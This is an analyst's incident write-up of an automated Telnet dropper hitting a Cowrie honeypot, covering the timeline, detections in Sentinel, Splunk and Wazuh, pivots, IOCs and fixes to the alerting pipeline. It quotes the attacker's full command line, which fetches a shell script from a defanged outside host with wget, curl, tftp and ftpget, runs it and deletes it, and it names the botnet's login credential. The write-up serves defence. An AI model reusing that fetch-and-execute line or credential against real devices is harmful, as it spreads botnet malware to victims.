Writing / incident report

A one-second Telnet dropper, from first packet to verdict

· about 15 minutes · updated 13 November: the same incident in Splunk and Wazuh

This is a write-up of one real attack on my honeypot, done the way I would hand it to the next shift: what happened, how it was detected, what the automation did, what I concluded and what I would do about it. The attack itself is ordinary, and that is why I picked it. Most of a SOC's day is ordinary attacks, and the work is in confirming them quickly and in noticing what the tooling got wrong along the way.

Summary

What
An automated Telnet login as root, a router-CLI escape, then a single command line that tries five ways to download a shell script, makes it executable, runs it and deletes it.
When
2026-11-11 06:55:29 to 06:55:30 UTC. The whole session lasted 1.07 seconds.
Source
A Korea Telecom fixed-line address, AbuseIPDB score 100/100 (36 reports from 30 users).
Impact
None. The target is a Cowrie honeypot; its egress filter blocked the download, so nothing ran.
Detections
6 incidents in Microsoft Sentinel from six rules: four on Cowrie, one on Suricata and one correlating both (3 High, 2 Medium, 1 Low).
Verdict
True positive. Automated propagation by a Mirai-style IoT botnet, most likely sent from another infected device. No human operator was involved.

Sources and scope

Source addresses are left out of this page, as on all my public honeypot pages. The download host is listed under IOCs, defanged.

Timeline (UTC)

TimeSourceEvent
06:55:28.59SuricataFirst packet. ET CINS Active Threat Intelligence Poor Reputation IP: the source is already on a public blocklist.
06:55:29.29CowrieTelnet connection to port 23.
06:55:29.53CowrieLogin as root / LSiuY7pOmZG2s accepted. First and only attempt: no failed logins before it.
06:55:29.63Cowrieenable, system, shell, sh: the words that break out of a router's vendor CLI into a Linux shell. All within 0.5 s.
06:55:30.16CowrieThe dropper command line (below).
06:55:30.35CowrieSession closed by the client.
06:55:30.40SuricataET EXPLOIT Zyxel runCommandInShell Telnet Service Command Injection Attempt (CVE-2024-40891) and ET HUNTING SUSPICIOUS Path to BusyBox, on the same packet.
06:55:40.35CowrieDownload failed: the honeypot drops all new outbound connections.
06:56:58SentinelSuricata alerts ingested.
07:01:53SentinelIncident 279, Network Exploit Attempt (High). Enriched 2 s later, set Active, sent to Telegram.
07:05:14SentinelCowrie events ingested (the shipper runs every 10 minutes), 4 minutes after the hourly rules had run.
08:01:30–57SentinelIncidents 281 to 285 from the Cowrie rules, each enriched within about 3 s.
08:04:07SOARIncident 285 (Low) auto-closed as True Positive.

What the attacker sent

After the four CLI-escape words, everything happened in one line. I have split it at the semicolons and defanged the host:

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;       # first writable directory
/bin/busybox wget -q -O telnet2.sh hxxp://176[.]65[.]139[.]157/telnet2.sh;
busybox wget -q -O telnet2.sh hxxp://176[.]65[.]139[.]157/telnet2.sh;
wget -q -O telnet2.sh hxxp://176[.]65[.]139[.]157/telnet2.sh;
curl -s -o telnet2.sh hxxp://176[.]65[.]139[.]157/telnet2.sh;
busybox curl -s -o telnet2.sh hxxp://176[.]65[.]139[.]157/telnet2.sh;
tftp 176[.]65[.]139[.]157 -c get telnet2.sh;                  # two tftp syntaxes
tftp -r telnet2.sh -g 176[.]65[.]139[.]157;
ftpget -v -u anonymous -p anonymous -P 21 176[.]65[.]139[.]157 telnet2.sh telnet2.sh;
chmod 777 telnet2.sh;                                         # make it executable
sh telnet2.sh;                                                # run it
rm -rf telnet2.sh                                             # and remove the evidence

Reading it as an analyst:

What the detections did

The rules are Sigma, converted to KQL and run hourly in Sentinel (uig.me/detections). Each raises one alert per source IP.

IncidentRuleSensorSeveritySOAR outcome
279Network Exploit AttemptSuricataHighActive, assigned, Telegram
282Download And Execute In One CommandCowrieHighActive, assigned, Telegram
283Login Followed By Tool TransferCowrieHighActive, assigned, Telegram
281Blocklisted Source Logs InSuricata + CowrieMediumNew, waiting for an analyst
284File Deleted Right After It RunsCowrieMediumNew, waiting for an analyst
285Network Device CLI Escape AttemptCowrieLowAuto-closed: Low + AbuseIPDB 75–100

One rule stayed silent on purpose. Permissions Changed To Run Or Unlock A File also matches chmod 777 …; sh …, but it excludes lines that contain a download, so a dropper line is counted once, by Download And Execute. One command should mean one alert.

The enrichment playbook wrote the same comment on each incident: the AbuseIPDB result, then the IP's honeypot activity over 30 days (1 session, 1 login, 5 commands, 1 download attempt) with sample commands, and tags abuse:75-100 and has-download. That comment is what lets an analyst close the incident without opening a query window.

Pivots

The download host

Searching 30 days of Cowrie logs for 176[.]65[.]139[.]157 or telnet2.sh finds exactly two sessions: this one, and one on 9 November at 00:01 UTC from a New Zealand mobile carrier's address, also 100/100 on AbuseIPDB. That session logged in as user/user and sent a byte-for-byte identical command line. Same tooling, same infrastructure, two days and two continents apart, which again points to a bot spreading on its own. The earlier session came before the SOAR automation went live (9 November, 15:47 UTC), so it was never enriched. (A third identical session came that evening; see the Splunk pivot.)

The password

LSiuY7pOmZG2s isn't a factory default, so I checked whether it fingerprints this bot. It appears once more, eleven hours later, from a different source. That session is a different family: it renames the host to PBOC, probes nine directories for write access, and writes a script with hex-escaped echo -ne chunks instead of downloading one. So the password is shared between families, most likely through the same credential lists, and isn't evidence of a single operator.

The CVE

Suricata labelled the command line CVE-2024-40891, a command injection in Zyxel's Telnet service. The signature matches the shape of the payload over Telnet. My honeypot is not a Zyxel device and the attacker logged in normally first, so I read this as "this bot uses the same delivery as the campaigns that exploit that CVE", not as an exploit attempt that could have worked here. When I wrote this, the signature had fired exactly once in 30 days, on this session. It fired again 15 hours later, on the third session with the same loader.

MITRE ATT&CK

TacticTechniqueEvidence
Initial AccessT1078 Valid AccountsTelnet login as root on the first try
ExecutionT1059.008 Network Device CLIenable, system, shell
ExecutionT1059.004 Unix Shellsh; sh telnet2.sh
Command and ControlT1105 Ingress Tool Transferwget, curl, tftp, ftpget of telnet2.sh
Defense ImpairmentT1222.002 Linux File Permissions Modificationchmod 777 telnet2.sh
StealthT1070.004 File Deletionrm -rf telnet2.sh right after running it

Technique IDs follow ATT&CK v20, where Defense Evasion was split into Stealth and Defense Impairment.

IOCs

TypeValueNote
URLhxxp://176[.]65[.]139[.]157/telnet2[.]shStage-one loader. Also tried over TFTP (69/udp) and FTP (21/tcp).
IPv4176[.]65[.]139[.]157Download host, seen in 3 sessions, 9 and 11 Nov
File nametelnet2.shWritten to /tmp, /var/run, /mnt, /root or /
Credentialroot / LSiuY7pOmZG2sShared with at least one other bot family
SuricataET EXPLOIT … CVE-2024-40891Fires on this payload over Telnet

No file hash: the download never completed, so there is no sample. The source addresses are known and withheld here.

Assessment

True positive, no impact. I am highly confident this was automated botnet propagation: the timing, the blind command sequence, the spread of download fallbacks and the identical session from another country all point the same way. That it is Mirai-derived is a medium-confidence call: the CLI escape words and the loader style are typical of that family, but without the second stage I can't name the variant.

On a real network, the same session against an exposed router would have been a compromise: the device would have pulled the bot and started scanning for the next victim. The recommendations below are for that case.

What it showed me about my own pipeline

Working one incident end to end turned up four things I wouldn't have seen from the dashboards.

  1. Detection took 66 minutes for the Cowrie rules. The shipper sends every 10 minutes and the rules run hourly on what was ingested in the last hour. The Cowrie events arrived at 07:05, four minutes after the 07:01 run, so they waited for 08:01. Suricata's alert, shipped sooner, became an incident in 6 minutes. For the High rules I could run every 10–15 minutes, or move them to near-real-time rules.
  2. The first enrichment was stale. Incident 279 was enriched at 07:01, when the honeypot data wasn't in yet, so its comment says "0 sessions, 0 commands" for an IP that had logged in and run a dropper. The playbook only runs on creation. It should also run when a new alert joins the incident, or the comment should say when its data ends.
  3. One session made six incidents and three Telegram messages. Grouping works per rule, not across rules. For a SOC this is alert fatigue: six tickets to close for one second of activity. The fix is an incident per source IP across all rules, or one correlation rule that raises a single "dropper chain" incident with the others attached as evidence.
  4. The same event alerted twice. Incident 279 holds two alerts an hour apart that contain the identical Suricata record. Across all rules, of the roughly 300 alerts in three days whose event I could extract, 12 repeat an earlier record. Grouping folds them into the existing incident, so nothing was double-counted as an incident, but the one-hour ingestion window evidently overlaps between runs. I haven't confirmed the cause yet.

Smaller notes: incident 284 shows no tactic in Sentinel, because Sentinel's API has no value yet for ATT&CK v20's Stealth tactic (a known limit in uig-detections); and 285 took 129 s to enrich where the others took 2–3 s.

None of these change the verdict on this attack. They change how much I would trust the pipeline's timing and its comments on a busier day, and they are now my next fixes.

Follow-up, same day: all four fixed

  1. Duplicate alerts: cause found. Every alert's creation time is about 300 s after the end of its query window (median 303 s), and the second alert in 279 could only have matched if ago(1h) is measured from the window's end. So Sentinel runs the query five minutes late with now() set to the end of the window. Events ingested in those five minutes were caught by that run and again by the next. The query now reads ingestion_time() > ago(15m) and ingestion_time() <= now(), which makes the windows back to back. The few remaining duplicates came from redeploys, which start a fresh schedule.
  2. Latency: rules now run every 15 minutes instead of hourly, all 17 of them. A Cowrie event now waits at most about 30 minutes for its incident (10 minutes of shipping, up to 15 to the next run, 5 of Sentinel's delay), not 66. After the deploy, the window ends moved from hourly to every 15 minutes (19:51, then 20:06).
  3. Stale enrichment: the playbook waits when it finds nothing. Re-running on "alert added" wouldn't have helped 279: once the duplicates are fixed, nothing new joins it, and the Cowrie data lands in other incidents. Instead, if the honeypot query finds 0 sessions, the playbook waits 10 minutes (one shipper cycle) and asks once more, and the comment says when it queried. Incidents from Cowrie rules always have sessions, so they skip the wait: the first real one after the deploy was enriched in 3 s. The end-to-end test passed 6 of 6 checks, and its comment came 604 s after the incident, as designed.
  4. Six incidents for one session: now one. Sentinel groups alerts into incidents only within one rule, so the detection rules now raise alerts only. A new rule, Honeypot activity, reads their new alerts every 5 minutes and raises one alert per IP with the highest severity, the rules that fired and their tactics and techniques. Its incidents group by IP and severity over a day. Severity is part of the key because Sentinel doesn't raise an open incident's severity when a worse alert joins it, so a High alert for an IP with an open Medium incident opens a new High one and notifies. The 251 incidents of the two days before came from 74 IPs. The first real one after the change: four rules fired on one session, and it became one High incident, enriched in 4 s, with one Telegram message. The cost is 5 to 10 more minutes before the incident exists.

The changes are in uig-detections 0363134 and 3209ad9. In a few days I'll recount the duplicate alerts on live data to confirm the first fix holds.

The same incident in Splunk and Wazuh (13 November)

Sentinel is the SIEM I run live. I also keep a local Splunk and a local Wazuh on my Mac, loaded with the pseudonymized copy of the same rows that uig.me/investigations uses: source addresses become src- plus eight hex digits, and addresses inside commands become [ip]. I worked the session again in each one from the start: find it, rebuild the timeline, see what the detections caught, and repeat the pivots.

Splunk

One search covers both sensors, because Cowrie and Suricata are two sourcetypes in the same index:

index=honeypot_demo src_ip=src-14c2f28d
| table _time sourcetype eventid username password input signature
| sort _time

It returns 19 rows, 16 from Cowrie and 3 from Suricata, with the same timestamps as the Sentinel timeline above down to the millisecond. Two of the app's seven scheduled detections apply:

The pivot on the download host is where Splunk was best. Earlier I compared the 9 November command line to this one by eye. In Splunk a hash makes that one line:

index=honeypot_demo sourcetype=cowrie:json eventid=cowrie.command.input "telnet2.sh"
| eval cmd_md5=md5(input)
| stats min(_time) AS first values(cmd_md5) AS cmd_md5 by session src_ip
First command (UTC)SessionLoginCommand line MD5
9 Nov 00:01:52260947a60300user / userad52f6d3…
11 Nov 06:55:30a9728ab959daroot / LSiuY7pOmZG2sad52f6d3…
11 Nov 22:11:2754e5a5f1d89aadmin / (empty)ad52f6d3…

That turned up a third session I hadn't seen when I wrote the pivots: the same evening, 15 hours later, from a Canadian fixed-line ISP's address, again 100/100 on AbuseIPDB. It used a third credential and sent the identical command line. Suricata's CVE-2024-40891 signature fired on it too, so it has now fired twice in 30 days, both times on this loader. Three sessions from three continents with three different logins all send the same command line, which makes the self-spreading reading stronger.

Splunk's weakness in my setup is that it isn't live. It only sees what ./hp pull copies to the Mac, so here it's a hunting tool, not an alerting one. It has no search on the Suricata data, and nothing for the CLI escape, chmod or rm. The cowrie_ttp macro tags those techniques, but no detection uses them.

Wazuh

In Discover, data.src_ip:src-14c2f28d and rule.level >= 5. The first pass was the most useful result of this exercise, because it showed a gap. Wazuh had all 19 events as alerts, but the only one at level 10 or above was Suricata's CVE signature. On the Cowrie side the dropper line was a level-3 "command typed", the same as enable, and the failed download fell through to the generic level-3 rule. My Wazuh rules only read command text to look for persistence, so the dropper was in the data and nothing flagged it.

I added four rules (siem-wazuh/config/local_rules.xml in uig-honeypot):

RuleLevelMatchesATT&CK
1001058A download command: the T1105 regexes from the honeypot's ttp_rules.json (wget, curl, tftp, ftpget, /dev/tcp/, hex echo chunks)T1105
10010610The same line also runs chmod, sh file or ./fileT1105, T1059.004
1001125Cowrie's file_download.failedT1105
10012012Any of the three, or a completed download, within 300 s of an accepted login in the same sessionT1078, T1105

The correlation rule groups by Cowrie session, not by IP. My Wazuh receives events by replay, which feeds days of events in a few minutes. A 300-second window keyed on the IP would pair a login and a download that were days apart. Session IDs are unique, so that can't happen. I checked the rules in wazuh-logtest before replaying, including cases that must not chain. A download in a different session from the login doesn't chain. A download with no login raises only 100105. A line that adds an SSH key stays the persistence alert.

After the change, this session raises the Suricata alerts as before, plus 100120 twice: once on the dropper line and once on the failed download. Across all five days, 100120 flags 117 sessions to HP-01's 122 in Splunk, and it finds none that Splunk missed. The other five chain correctly when I replay just those sessions, so the gap comes from the bulk replay, not the rule. A live feed wouldn't have it.

Two things Wazuh does differently from the other two:

I also found a bug in my own tooling. The Wazuh image copies the mounted rule file only on its first start, so after a restart it kept running the old rules, without any error. ./hp wazuh load now compares the two files, and when they differ it copies the new one in, checks that it loads, and restarts the manager.

Side by side

Sentinel incident (rule)SplunkWazuh
Network Exploit Attempt (High)no search on Suricata data100202, level 10
Download And Execute In One Command (High)part of HP-01100106 (new); 100120 takes over on this session
Login Followed By Tool Transfer (High)HP-01100120, level 12 (new)
Blocklisted Source Logs In (Medium)ad hoc search onlynone: no rule spans both sensors
File Deleted Right After It Runs (Medium)nonenone
Network Device CLI Escape Attempt (Low)tagged T1059.008, no alertnone
no equivalentHP-02 New download URL, on 9 Novnone

What I take from it:

The Wazuh rules and the reload fix are in uig-honeypot.